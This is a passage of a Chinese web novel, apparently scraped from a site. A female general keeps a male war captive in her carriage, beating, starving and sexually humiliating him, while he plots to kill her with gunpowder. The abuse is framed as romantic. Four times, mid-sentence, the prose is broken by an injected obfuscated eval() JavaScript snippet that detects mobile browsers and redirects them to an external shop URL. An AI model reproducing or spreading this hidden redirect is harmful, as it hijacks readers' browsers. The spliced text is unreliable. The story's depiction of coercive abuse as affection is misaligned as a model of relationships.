他已经不再咬着手腕了,但两只手的手腕都有他自己的兔牙痕迹,天色都快亮了,牙印还没消除,因为刚才咬得实在太用力了。 要不然都忍不住。 他的手腕还被锁链锁在一起,他朝着她的背影伸出手,隔着一段距离假装掐住她的脖子,他还恶狠狠地虚空用力掐两下。 他心中暗暗发誓:来日一定要亲手杀了她!为自己受的所有屈辱与折磨报仇雪恨! 他心里想完这些,仿佛身上的疼痛都缓解了几分,他放下虚空掐脖子的手,刚一动…… 他差点又呻|吟一声。 尽管一夜过去了,他的病好了不少,伤痛也减轻了一些。 但身上有一处,是持续都在折磨他的。 他不敢私自拿出来。 他虽然刚才还想着要杀坏女人,但现在已经在心里打草稿,准备一会儿哀求她,能不能拿出来一会儿。 实在是越来越疼了。 姜守烛睡到天亮就醒了。 她坐起来,看到地板上那个缩在角落的人影,她笑了一声。 刚一睁眼就见到他一脸卑微的模样,她的心情当然好了。 毕竟昨晚他那么不听话,还勾引她,她心里烦躁坏了。 “现在乖乖听话的模样多好,这样不就不打你了?你啊,非得吃点苦头才肯老实。”姜守烛睡了一夜,头发有些乱了,她一向都是束起一个高马尾的,她刚捋了两下头发,突然看向地板上的人,她指着马车角落里的小箱子说:“那里有梳子,过来给我束发。” 嬴芜荼不想伺候她,但一想到还有求于她,便乖乖去箱子里拿出梳子,他看着已经转过身,等待他梳头的人,他慢慢站起来…… “嗯……” 他没忍住又呻|吟一声,因为站起来这样的动作,又剐蹭到了那里。 “烧货,大早上起来就发烧。”姜守烛听到声音,她又笑他。 嬴芜荼又委屈又脸红,心里暗骂:坏女人!不都是因为你做的好事吗! 可是他不敢骂出来。 再忤逆她,就又要挨打了。 沦落到坏女人的手里,她张口想骂就骂,抬手想打就打。 所以如果想要活下去,那么在能够杀掉她之前,尽量不要再忤逆她了。 反抗她没有任何好处。 嬴芜荼慢慢给她梳头发,他手腕上的牙印还没消,右手掌心的箭伤还没痊愈,断掉的小指也没长好,但这些都不影响梳头发。 “怎么突然这么乖了?想通了?”姜守烛刚才骂完他,他也不吭声,甚至都不呲牙,她还挺意外的。 嬴芜荼很快就梳好了,因为她的头发细密柔顺有光泽,一看就是身强体壮之人,他也不回答,直到给她的头发束回整齐的高马尾,他才放下梳子,两只手都将梳子握在掌心里,垂着头,也垂着手,等她转过来。 “哑巴了?”姜守烛整理了一下袖口领口,转过来问他。 “看在……看在我听话的份上,能不能让我先把那个拿出来?”嬴芜荼的声音细若蚊蚁,他害怕被拒绝。 “哪个?”姜守烛其实一下就听懂了,但她明知故问。 “就是那个……”嬴芜荼的声音更小了,他的指腹不安地摩挲着梳子的齿。 “到底哪个?少给我打哑谜,最后一次机会,再说不清楚就把你的嘴堵上。”姜守烛就喜欢威胁他,威胁他太好玩了。 “这个……”嬴芜荼用手指了一下,他的脸更红了。 脸红不是因为高热,他已经不发烧了,但现在浑身都因为羞愧而发烫,仿佛要比昨夜高热时还要烫了。 “噢……怎么?想要?”姜守烛故意曲解他的意思。 “不是不是……”嬴芜荼急坏了,他解释着:“很难受,可不可以把那个东西拿出来……一小小会儿就行……” “不行。”姜守烛斩钉截铁地拒绝了,她笑道:“你要是有胆量,就偷偷拿出来,不过要是被我发现了,那你就猜猜会发生什么吧。” 姜守烛也不明着说惩罚是什么,就让他自己猜去吧。 未知的恐惧才是最大的恐惧,因为那是无底洞。 再加上,嬴芜荼知道坏女人心狠手辣,磋磨人的手段数不胜数,他连想都不敢想下去。 妍副将将早饭送来车上。 只有姜守烛一人份。 她从未吩咐过给嬴芜荼也备餐,所以也没有他的份。 姜守烛吃饭时,缩在角落里的人就抱着双膝坐在地板上,还将脑袋埋在膝盖里。 虽然他一声不吭,但是肚子一直在叫。 他不敢讨要,更不敢看她。 他那里还很疼,但是坏女人不许他拿出来,好委屈。 也好饿。 “喝了。”姜守烛一弯腰,将半杯牛乳放在地板上,命令道。 本来她打算留半块馒头,丢到小兔子的脑袋上,让他吃了的。 但是一想到昨夜自己一脚把人胃踹得出血,还是给他喝点热的东西吧。 不过她是不会给小兔子吃饱饭的。 吃一点饿不死就行了。 吃饱了就又有力气闹腾了。 距离回京还有九日,这九日省得小兔子折腾。 嬴芜荼听到声音,他将脑袋抬起来,看到脚边的杯子,他自从被俘,就没有吃过一次饱饭,一直都处于饥饿的状态,他闻出是香甜的牛乳,他咽了一下口水,不敢直接伸出手,先是用试探的眼神去看她。 见她的眼神是许可的,嬴芜荼这才拿起杯子,咕咚咕咚,一饮而尽。 昨晚被打得胃出血,胃里本就难受,喝了点热乎乎的东西,胃里舒服多了。 嬴芜荼得到了一星半点的好脸色,又忍不住得寸进尺,他刚要开口…… 马车外传来妍副将通报的声音。 姜守烛下令:“继续行进!” 马车往前行驶,嬴芜荼坐得不稳,马车一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061639|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,他的后脑撞了一下,他“呜”了一声,捂住了脑袋。 姜守烛被他的傻样逗笑了。 嬴芜荼见坏女人笑了,他的胆量又多了一点,仿佛是恃宠而骄的小狗,见到主人心情愉悦,就更敢讨要零食了。 “我真的要坏掉了,你不是还要享用我吗,要是坏掉了,你就玩不成了,所以能不能拿出来一小小会儿。”嬴芜荼又试着讲条件。 “坏掉?你这么没用啊?”姜守烛本来就心情不错,舟车劳顿路上无聊,还好车里还有一只小兔子可以逗弄着玩,她正好坐在椅子上,而那只小兔子就坐在地板上,她一抬腿,用鞋尖在他的唇前比划了一圈,笑道:“那里坏了就用这里,还能骂骂咧咧骂我个不停,这嘴不是挺灵的吗?” 嬴芜荼听懂了,他的脸更红了。 又被坏女人调戏了,可是也没法反抗。 姜守烛用鞋尖点了点他的前胸,说:“而且你把我的字都抓花了……没有了这处标记,那别处当然得重新标记。” “没有没有!”嬴芜荼一见她肯松口,赶紧抬手扯开上衣的领口,他将那个字展露出来,解释着:“字没花,已经长好了,不信你看。” 他抓得很浅,只是当时还在流血,看起来那个“姜”字像是花了,现在流血的抓伤都结痂脱落了,所以字也就原本呈现了。 “噢……这么乖啊。”姜守烛看他用力扯着领口,如此主动听话地将前胸裸|露给她看,她心情大好,其实小兔子的胸肌很大,毕竟是常年在军营里训练的人,身材比一般瘦弱的小男子好多了,她看到这一幕,便大发善心地说:“那就拿出来吧……” 嬴芜荼一听,手忙脚乱地去脱……但他还没脱,他又抬头去看坏女人,见她正饶有兴致地盯着看,他想转过身,又怕这样的动作会激怒她。 这可是他求了一早上,又是装乖又是求饶,甚至出卖色|相,这才获得的恩典,他可不想作没了,于是就硬着头皮,也顶着那道目光。 反正也躲不开她的目光。 因为放进去一天一夜,他拿出来时疼得直呻|吟。 好不容易拿出来,他委屈地用手掌作扇子,扇了扇风。 简直疼坏了,扇扇风,凉快一点,这下舒服多了。 姜守烛的眼神微动,这动作,简直就是在邀请,她怀疑小兔子是故意的。 于是她决定将善心收回来。 她的善心,想放就放,想收就收,谁让她对小兔子拥有绝对的掌控权呢。 “十……”她开始查数。 嬴芜荼不解,他手掌扇风的动作不停,抬头疑惑地看向她。 “九……” 他眨了眨眼睛,还是不懂。 “八……在我查完之前,你要是不恢复原样,就有你好受的,七!”姜守烛解释了一句。 “啊!不要,我才刚刚……求你多一点时间好不好……”嬴芜荼才舒服一点点,他还没等多体会这种感觉呢,她马上就要把这种舒服没收回去了。 “六。”姜守烛置若罔闻,对他的求饶视而不见,只继续查数。 “求求你,别……我真的……”嬴芜荼急得手掌快速扇了几下风,试图在她倒数完之前,能多舒服一下是一下。 姜守烛见他那伤痕累累的手掌都扇得快出残影了,她觉得更有趣了,有趣归有趣,她的倒数可一下都没停。 “一。” 随着姜守烛的最后通牒,嬴芜荼不得不咬着牙将一切恢复原样,他委屈得坐在角落里哭出声了。 好不容易才舒服一点,坏女人怎么能这么坏! 要是一直忍着,倒也能继续忍,可是这样,却让他更难受了。 “不许哭出声。”姜守烛给自己倒了一杯茶,饶有兴致地喝着茶,同时命令道。 比起小兔子的哭声,她更喜欢听小兔子想哭却不敢哭的闷哼呻|吟声。 好听。 19.多喝热水 马车越往北走,雪就下得越小。 还有八天就能回京了。 天色渐渐黑了下来,不过今夜的雪不大,所以姜守烛下令今晚休息半个时辰后,全军彻夜行进。 眼看就要到年关了,士兵们也想赶在春节之前回到家,和夫郎孩子们团聚。 马车里点着蜡烛,姜守烛心不在焉地喝着茶,而嬴芜荼还是缩在马车角落里,像是一只没有生命的布偶娃娃。 还是一只被丢弃的破烂娃娃。 因为他太狼狈了。 姜守烛一边喝茶一边逗他:“你会不会唱小曲儿?” 嬴芜荼怎么可能会唱那种东西,他摇摇头。 “无趣。”姜守烛只是嘴上怪他,但也没有再动手。 一天过去,她看到小兔子脸上身上的伤都好了不少,也不再发烧了,她盘算着,估计等回到京城,应该就可以享用了吧。 真是期待啊。 就是……前天晚上那巴掌太用力了,现在小兔子脸颊上那个巴掌印还很深,太影响美感了。 姜守烛真心希望小兔子能早点痊愈。 嬴芜荼的肩缩了缩,他将头埋得更低了。 刚才拒绝了坏女人,她竟然没生气,也没动手打人。 还真是喜怒无常。 但是他现在来不及去琢磨坏女人的脾气,因为他有麻烦了。 嬴芜荼从下午开始,就感觉小腹隐隐作痛,一开始还以为是被坏女人踹的伤又疼了,但等到了晚上,这种痛感越来越强烈了。 直到刚才,和坏女人一说话,他意识到不妙了。 他来月事了。 他其实已经四年没来过月事了。 在军营里,他常年服用一种名为雌丸的药,这药女男都能用,对女子用来治疗性冷淡的,而男子服用就不会来月事,也不会怀孕。 嬴芜荼当然是为了不来月事,这样也就不会被发现男子的身份。 不过这种药有很强的副作用,男子用久了可能会影响生育。 而且这药必须每天都吃,男子超过三天不吃,就会来月事。 他自从被俘虏后,小命都快被折磨没了,早就把吃雌丸的事忘到九霄云外去了,而药也没了,直到他现在流血,他才想起来这件事。 嬴芜荼小时候每次来月事都会腹痛,都会被父亲骂矫情没用,现在重新来了,熟悉的疼痛也回来了。 再加上现在手头又什么都没有。 他又疼又狼狈,疼得额头上沁满了细汗,连脸色都变得煞白,更显得右脸上那个紫色的巴掌印触目惊心。 “抖什么?”姜守烛睡不着,就坐在马车里闭目养神,但她感觉到马车在抖,视线寻了一圈,发现来源是角落里那个人,她又看了一眼炭盆,里面的炭火还在燃烧,可她的马车里又不冷。 “没……”嬴芜荼小声回答,他的手还捂着小腹,腹中绞痛,实在难忍。 “那你抖什么?”姜守烛看到他捂着肚子的动作,再想起之前自己一脚踹得他胃出血,她本来不善的语气缓和了一点,问:“肚子疼?” 嬴芜荼抬起头,小心地观察她的脸色,见她没有又要打人的迹象,便微微点头。 “那也是你自找的,你不对我呲牙,我会踹你吗?”姜守烛嘴上数落着他,但手上倒了一杯热茶,放在马车地板上,想了想,又将杯子往前推了推,“喝点热水。” 嬴芜荼的眼眶登时湿了,他哆哆嗦嗦地伸出手,拿起杯子,他疼得连嘴唇都在发抖,红唇抵上杯沿,小心地喝了一口。 滚热的茶水下腹,腹痛果然缓解了一点。 但也就一点点而已。 “这回好了吧?”姜守烛说完,她奇怪道:“你怎么又哭了?” 嬴芜荼赶紧摇头,他是感动的,现在是他最脆弱的时候,小时候腹痛,都喝不到热水,父亲嫌弃他是赔钱货,都不许他浪费柴火烧热水喝,后来还是假扮姐姐,腹痛时担心露馅,这才喝上热水。 但他不会说自己是感动哭的,也更不想让坏女人知道他的情况。 “愿意哭就哭,但不许哭出声烦我。”姜守烛懒得猜测他的心思,男人的心思最难猜了,她也不需要知道小兔子的心思,只要知道,他永远都是她的玩具就行了。 “谢谢你。”嬴芜荼喝完了一杯热水,虽然还在疼,但至少舒服了一点,他将杯子放在身边的地板上,小声地说。 一码事归一码事。 坏女人虽然是他的敌人,还对他折辱虐待,但现在坏女人做了好事,还是要谢一声的。 “哦?”姜守烛还以为自己听错了,她笑着问:“你说什么?” “说谢谢你给我喝热水。”嬴芜荼说完,将唇抿成一条线。 “就用嘴说谢谢啊?”姜守烛故意逗他玩。 “嗯……”嬴芜荼就知道坏女人没那么好心,心里刚升起那一点点好感又烟消云散了,“你想我怎么谢你?” “给我唱个小曲儿。”姜守烛说。 嬴芜荼为难道:“我真的不会。” “那就是不想真心谢我。”姜守烛故意为难他。 “我……”嬴芜荼哑口无言,他天生五音不全,很小就开始男扮女装,更是没学过这些讨好妻主的小手段,“我是真心谢你的。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080924|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的语气很真诚,好似身上的伤都不痛了,也好似忘了自己的处境,一心只想向她解释清楚,向她表忠心。 “你家五殿下会,那让他教你,你再唱给我听。”姜守烛是发现,小兔子今天乖得出奇,难道是转性了? 嬴芜荼的心念微动,刚降下去的好感又升起来了,还以为又会惹她生气,被她毒打一顿,但她竟然还肯给机会…… 那可不可以再得寸进尺一点? 于是他试着讲条件:“我学,我会向五殿下学的,那现在能不能……让我把那个炭盆挪到我身边来。” 他说完还用手指了一下。 燃烧着炭火的炭盆原本在她的脚边。 “为什么?你冷?”姜守烛奇怪道,这马车里根本就不冷。 “嗯。”嬴芜荼见她好像真的会答应。 “真是麻烦,自己去挪吧。”姜守烛嘴上数落着人,但还是答应了。 马车就这么大点地方,炭盆放哪都行。 嬴芜荼如梦天恩,立刻伸长手臂去够炭盆,他小心地推着炭盆边缘,一点点挪到自己面前来…… 姜守烛见他小心翼翼的动作,她实在不懂小兔子到底冷什么,她突然变了语气,警告道:“你是不是又想耍花招?” 毕竟嬴芜荼被没收了武器,又被锁链锁了手脚,没什么行动力,甚至都不可能有什么力气,所以就将心思放在了燃烧的木炭上? 嬴芜荼刚刚感受到热源,他还来不及高兴,听到她的揣测,他连忙解释着:“没有,我只是……想暖和一点。”他说着,语气带了哭腔,“别打我了,我没有想做什么,真的……” 这次是真的冤枉,他就算是想要闹腾,也不会是腹痛难忍的现在。 姜守烛不信,但也没心思教训他,于是她打开马车的门,对马车一侧骑马的妍副将比划了一下,说:“把那个东西拿来,再拿两个那个。” 嬴芜荼闻言被吓得缩成一团。 坏女人吩咐她手下去拿什么了? 又是什么折磨他的刑具吗? 他听到马车外响起马蹄声,定是那个副将去拿东西了,他本就腹痛,现在又要被坏女人折磨,他心底里怪自己得寸进尺,有热水喝就该知足才是,干嘛跟坏女人提条件。 现在又要自讨苦吃了。 他已经足够疼了,实在不想再被折磨。 他继续哀求着:“我真的只是想暖和一点……什么都没想做……别再打我了……” 他感觉肚子更疼了。 姜守烛也没理会他的哀求。 很快,马车外响起急促的马蹄声,是妍副将取完东西回来了。 20.弄脏了 马车车门打开之时,嬴芜荼吓得连眼睛都紧紧闭上了。 但是他没有预料之中的疼痛传来,只是听到一声响动。 嬴芜荼小心地睁开眼睛,看到是姜守烛用一个铜制的罩子将炭盆罩起来了。 这是寻常家里用的炭炉罩子,防止火星飞溅引起火灾。 原来不是他想的那样…… 嬴芜荼慢慢放缓呼吸,让自己狂跳的心逐渐平静下来。 就是…… 他还闻到了一股很香的味道。 他偷偷嗅一下,好像正是炭盆里传来的,他见坏女人没有动作,便伸长脖子凑近去看。 他看到炭盆的边缘还烤着两颗玉米。 原来是烤玉米的香气。 嬴芜荼咽了一下口水,他又慢慢坐回马车角落里。 现在坏女人一没打他,二没把炭盆挪回去,叫来属下也只是送了一个防止起火的罩子。 那他可以好好烤烤火,让身子热乎一点,试图缓解腹痛。 就是…… 除了马车辘辘前行的声音,还有玉米粒被烤爆的“毕剥”声。 这声音传到嬴芜荼的耳朵里,他忍不住又吞咽两下口水。 他饿。 自从被坏女人俘虏后,就没有吃饱过。 他闭上眼,不再去想,反正坏女人是不会给的,坏女人不打人就很好了。 直到姜守烛打开炭盆上的铜罩,拿出两颗烤玉米…… 嬴芜荼还是缩着坐在角落,他的脑袋埋在膝盖上,他不由自主地嗅了两下身边的空气。 好香甜…… 然后这份香甜就送到了他的面前。 姜守烛一只手拿着玉米,一只手轻轻敲了敲他的脑袋。 嬴芜荼被敲了脑袋,还以为坏女人又要打人,他刚抬起头,就看到送到面前来的烤玉米。 “吃了。”姜守烛说完,见小兔子还在那一直发愣,都没有接过去的意思。 这刚烤好的玉米本就烫手,她不知道小兔子是不愿意吃还是被打傻了,怎么呆呆的,她随手将玉米丢到地板上,随口道:“爱吃不吃。” 她又不惯着他。 直到烤玉米掉到地上,滚到嬴芜荼的衣角上,他才后知后觉拿起烤玉米。 有点烫手,他连忙将烤玉米左手倒右手,再从左手倒右手,反复倒弄着,舍不得玉米掉下去,也不敢放开手,生怕她又抢回去。 “演杂耍呢?”姜守烛那边已经吃上了,看着小兔子在那倒弄来倒弄去的,她笑道。 “有点烫……”嬴芜荼赶紧解释着,解释完又怕她误会,继续说:“我马上就吃。” 他都快饿傻了,顾不上玉米还很烫,低头“咔嚓咔嚓”啃了起来。 姜守烛连咀嚼的动作都停了,她没见过啃玉米这么快的人。 这嬴芜荼还真是属兔子的?这兔牙这么好使? 就在几个眨眼间,嬴芜荼将一整根玉米全啃光了,他还意犹未尽地舔了舔下唇,仿佛在回忆滋味。 没吃出什么滋味,主要是太饿了。 也怕被没收,所以赶紧吃进肚子里,这样才安心。 嬴芜荼吃了个小半饱,他正琢磨吃完的玉米棒子放在哪,一抬头,见到坏女人正盯着自己看…… 他有些害怕。 害怕中,又有些……不自在。 他用手摸了摸嘴角和脸颊,自言自语道:“应该没有玉米粒粘在脸上吧?” 他也不知道自己为什么这么想。 为什么被坏女人盯着的时候,会在意自己的形象? 明明在坏女人的面前,什么狼狈的模样都有过,早就没有形象一说了。 姜守烛见他摸脸检查的动作,她回过神来,自己继续吃手里的烤玉米了。 盯着他看干什么?不过他确实有点……可爱。 她不禁想,还好没有舍得杀掉他。 他咬人的时候有咬人的可爱,不咬人的时候,也有别样的可爱。 姜守烛又看到自己右手虎口处的牙印,是小兔子咬出来的。 她现在觉得,这个牙印也有点可爱。 完了,是不是吃烤玉米吃中毒了? 姜守烛三口两口吃光,然后打开马车车门,将玉米棒子丢出去…… 嬴芜荼也眼疾手快,将玉米棒子一并丢出去,再赶紧缩回自己的小角落坐好。 毕竟门口那边有风, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091432|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他肚子疼,不想吹冷风。 马车车门重新关上。 眼下已经是后半夜了。 姜守烛躺在软榻上,看着还缩着坐在角落的人,她往床榻里侧挪了挪。 “上来睡。” 嬴芜荼当然想上床去睡了,她的床又软又暖和,她又是一个强壮的大女人,很是体热,这点在他被抱着睡的那夜就知道了,所以如果现在能上床被她抱着睡肯定很舒服。 但是不行。 他来月事了。 他什么都没准备,刚才丢玉米棒子的时候动了一下,他又感觉有一股血流出来,他已经够难堪了。 他不想被坏女人知道自己的情况,也更不敢把血弄到她的床上。 “又不听话?”姜守烛以为小兔子今晚已经很乖了,所以才给他又吃了点东西,怎么一转眼又倔强起来了? “不是……我就不上去了吧,我在这里就挺好的。”嬴芜荼说完又将自己缩了缩。 “我让你上来就给我立刻上来!”姜守烛语气不善地命令道。 嬴芜荼听到她的语气变了,和刚才给他吃玉米的语气差多了,他连忙说:“我不方便。” 姜守烛更不懂了。 “有什么不方便的!我给你三个数!三!” 嬴芜荼的手捏紧了袖子,连小腹都更剧烈地绞痛了。 “二!” 嬴芜荼还是不动,他仰头望着床榻上的人,他看到她已经坐起来了,他疼得眉头都搅到了一起去,“我真的不行……” “一!” 最后一个数落下之时,姜守烛一伸手,揪住嬴芜荼脖颈上的系带,动作粗暴地将人拖到了床上来。 嬴芜荼惊呼一声,他的后腰被床沿硌着拽上来。 他知道这下完了。 因为他感觉血流出来更多了。 姜守烛还满脸怒气,将人拽上来后,刚要骂人,就见到小兔子眼神惊恐地看着床…… 她也顺着那视线看过去。 看到了一小块血迹洇出来。 “对不起对不起……” 嬴芜荼吓惨了,他紧张兮兮地用衣角去擦拭那块血,但是越擦越脏,根本就擦不干净。 21.杀了她 姜守烛的眉头也蹙了起来。 而嬴芜荼都恨不得找一条地缝钻进去。 “你这是……小产了?” 姜守烛以前有个小侍,很得她心意,夜夜宠爱。 不久小侍就怀孕了,即使是孕期也缠着她。 但是却因为太过激烈而小产了。 那还是姜守烛的第一个孩子。 这名小侍伤心欲绝,整日郁郁寡欢,后来去寺庙出家了。 从那之后,她家里的男人们就一直没有再怀上孩子。 所以她现在看到这一幕,就想起那名小侍。 “不……不是,我是来那个了,求你别打我,我不是故意弄的。”嬴芜荼感觉自己又要挨打了,他还小心地伸出手,去拽她的衣角。 “哪个?”姜守烛听不懂。 “就是那个……”嬴芜荼不好意思直接说。 姜守烛想了半天才明白。 “算了。”姜守烛倒是没有发怒,她仅仅只是想起那名小侍,算是爱屋及乌,对小兔子生出了几分怜悯。 毕竟那还是她第一个孩子,还和母亲商量着若是生出女儿,该取个什么名字。 可惜,后来再也没有过孩子。 “来人。”姜守烛打开马车车门,对妍副将比划了一下。 嬴芜荼直接抱着膝盖缩成一团,他感觉自己要被杀了。 那姐妹们呢,会不会也一样被活埋? 该怎么恳求她才好…… 不等嬴芜荼想出能让她消气的法子,就见妍副将抱着一床新的被子回来了。 姜守烛将新被子丢到嬴芜荼的脑袋上,将那一团人都盖住了。 “铺床。”她命令道。 嬴芜荼从被子里钻出个小脑袋,疑惑地看向她。 “听不懂话?你把我的床弄脏了,重新铺床!”说完,姜守烛去马车的凳子上坐着,等嬴芜荼干活。 嬴芜荼后知后觉地“噢”了一大声,赶紧爬起来铺床。 染血的被子被撤下,嬴芜荼的肚子还疼着,但是他不敢耽误。 他一边手脚麻利地铺床,一边偷偷观察坏女人的脸色。 她为什么没生气? 甚至连骂人都没有…… 她什么时候变得这么好脾气了? 嬴芜荼重新铺好了干净的床榻,他局促地缩在马车角落,小心地看着她。 姜守烛重新上床,并将被他弄脏的被子丢到马车地板上,语气不咸不淡地说:“这条被子就给你了,在回京之前,不许上我的床。” 说完,她就躺下了。 嬴芜荼又一次被被子蒙住了脑袋,他在被子里懵了好一会儿才钻出来。 坏女人这是……在关爱吗? 她竟然这么体贴? 嬴芜荼用被子将自己裹成一个小粽子。 他的衣裳不保暖,但现在有了厚实的被子,身子渐渐暖和起来,腹痛也缓解了不少。 而且…… 嬴芜荼将脸埋在被子里猛吸了一大口。 全是她的味道,很好闻的味道。 很安心。 还带着余温,这是她的体温。 嬴芜荼越想越开心…… 此时,姜守烛突然翻了个身,她语气更冷地说:“允许你把那个拿出来。”说完就又翻回去了。 嬴芜荼还以为她说了一句梦话,他眨了好半天的眼,都在确认这究竟是她开恩,还是自己听错了。 姜守烛等了半天都没听到动静,她又翻过来,问:“该不会疼死了吧?” 她还打算坐起来看看。 “没没,还有气……”嬴芜荼赶紧回话,他确认自己刚才没听错。 不知道坏女人为什么突然对自己这么好,但不需要去想那些,赶紧把那该死的、折磨他的东西拿出来才是要紧事。 然后马车里传来一阵粗|重的喘|息声。 嬴芜荼终于好受些了。 姜守烛听着那声音听得一阵燥热。 嬴芜荼很想问问,坏女人为什么突然跟变了个人一样,但他又不敢问。 一直挨到天亮。 嬴芜荼烤着火炉,又围着棉被,一整夜过去,他的腹痛缓解了不少。 早晨天亮时,大军停下休整吃饭。 姜守烛这次单独多要了一杯牛乳,是一整杯的,全都给嬴芜荼喝了。 嬴芜荼喝得感激涕零,但同时,他又在想,不知道姐妹们能不能喝到牛乳,坏女人应该不会给俘虏们都喝珍贵的牛乳吧? 嬴芜荼喝光了牛乳,腹中更舒服了些,他看坏女人的心情好像不错的样子,便试着得寸进尺:“那个……能不能让我见五殿下一面,我们都是男子,我现在一直那个……我得处理一下,要不然该把你的马车地板也弄脏了。” 说话时,嬴芜荼的语气还有些颤抖,好像不光害怕被她拒绝,更害怕被她打。 但更害怕的是,垫在杯子下的那张纸条被她发现。 “男人真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099835|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是麻烦。” 姜守烛嘴上嫌弃着,她下了马车,叫人把五皇子叫来了。 嬴小舞一路上一直都是一个人坐马车,他无聊坏了,几次三番想要上姜守烛的马车,但是都没被应允,没想到现在姜姐姐主动叫了自己,他简直开心坏了。 可是姜守烛见到蹦蹦跳跳跑过来的嬴小舞,只是冷冷地说:“你上去,帮帮他。” 毕竟他们都是小男人,还是他们更懂一些。 嬴小舞脸上的笑容凝固了,他指着马车里面,问:“帮什么?” 姜守烛懒得解释这种事,没有耐心地说:“你上去就知道了。” 嬴小舞忧心忡忡地打开车门,就看到那个贱货裹在被子里缩在马车的一角。 嬴小舞心里的嫉妒如火焰般燃烧起来。 他说怎么姜姐姐不肯理自己呢,原来是马车里藏了那个贱货! 这贱货还装出一脸单纯无辜的样子! 他看着就来气! 嬴小舞刚想拒绝,但转念一想,又不想在姜姐姐面前露出不温顺的模样,所以就硬着头皮上了马车。 他倒是要看看,这贱货要搞什么花样。 姜守烛并没有守在马车附近,而是和妍副将走得稍远了一些。 听妍副将汇报今晨的飞鸽传书。 姜守烛听完后,又想起昨夜自己对小兔子的那些优待,她的视线远眺,看向京城的方向。 可视线里只能看到皑皑雪山。 她并没有立刻往马车那边走,而是和妍副将并肩站在原地。 就给小兔子一点时间吧,反正一切都在她的掌握之中。 而且,她也很好奇。 —— 马车里,嬴芜荼一见来人,心中一阵狂喜,他赶紧伸出手…… “干什么?”五皇子嫌弃地躲开,没好气道。 “五殿下你别声张,先听我说,我有人手在外面联系上了,她们有一箱火药,可是她们没法靠近姜守烛的马车,而我被囚禁在此,也不能去行动,我需要你去偷两身她们士兵的衣服,这样就能让我们的人接近姜守烛的马车了,殿下,这是我们的唯一的报仇机会!” 嬴芜荼说的时候,舌尖还泛着牛乳的奶香,裹着的被子还带着暖意。 但敌人就是敌人。 永远都是敌人。 嬴小舞心不在焉地听嬴芜荼说话,因为他的视线只盯着地板上的那只银簪。 那不是他丢失的银簪吗?怎么在这里? 22.出卖 “殿下?”嬴芜荼见自己说完,五殿下还是一点反应都没有,难道是声音太小了他没听清吗? 于是他伸出右手在五皇子的眼前晃了晃。 “把你的脏手拿开。”嬴小舞将视线从银簪处收回来,看向嬴芜荼的断指,他的语气从刚才的没好气变成怀疑,“你该不会是骗我的吧?我母国哪还有人了?是不是姜姐姐让你来测试我?” “殿下!”嬴芜荼急得连声音都在发抖,他将袖中的纸条拿出来,展示给五殿下看,“这是你母皇的两名亲卫!她们在查抄皇宫时躲起来了!殿下难道连你母皇都不信吗?殿下向敌人谄媚得一朝一夕的好处有什么用?难道你不想复仇吗!姜守烛杀了我们那么多族人!殿下你曾受万民供奉,难道不该为百姓们复仇吗!” “可是……”嬴小舞想着,连他母皇都投降了,而自己只不过是个皇子,再说了,姜姐姐除了对自己冷淡一点之外,也没怎么苛待自己,虽然说……姜姐姐把嬴芜荼打得半死,但那是因为嬴芜荼不乖顺想要反抗,只要像自己一样,跪的姿势好看一点,就一定会被优待的。 “殿下还有什么可是的?”嬴芜荼忍不住了,双手抓住五殿下的肩用力晃了晃。 “别碰我!”嬴小舞轻而易举挣脱开来,“就算真的炸死姜姐姐,那我们也逃不出去,外面那么多士兵,我们也一样会死的,而且我的国已经亡了,皇姐们也已经战死了,就剩我一个皇子,又复不了国,反抗又有什么意义?我的命运左右都是如此,倒是你,为什么我的银簪在你这里?” 嬴小舞话锋一转,将马车地板上的银簪捡起来。 “殿下你怎能如此执迷不悟!”嬴芜荼被气得要吐血,上下一起吐血。 “别转移话题,我问你话呢!”嬴小舞也气得不轻,他找了两日都没找到,这可是他好不容易才求得留下的首饰。 “殿下你实在……无可救药。那殿下能否答应我,即使你不肯帮我,也不要出卖我,我会继续想办法。” 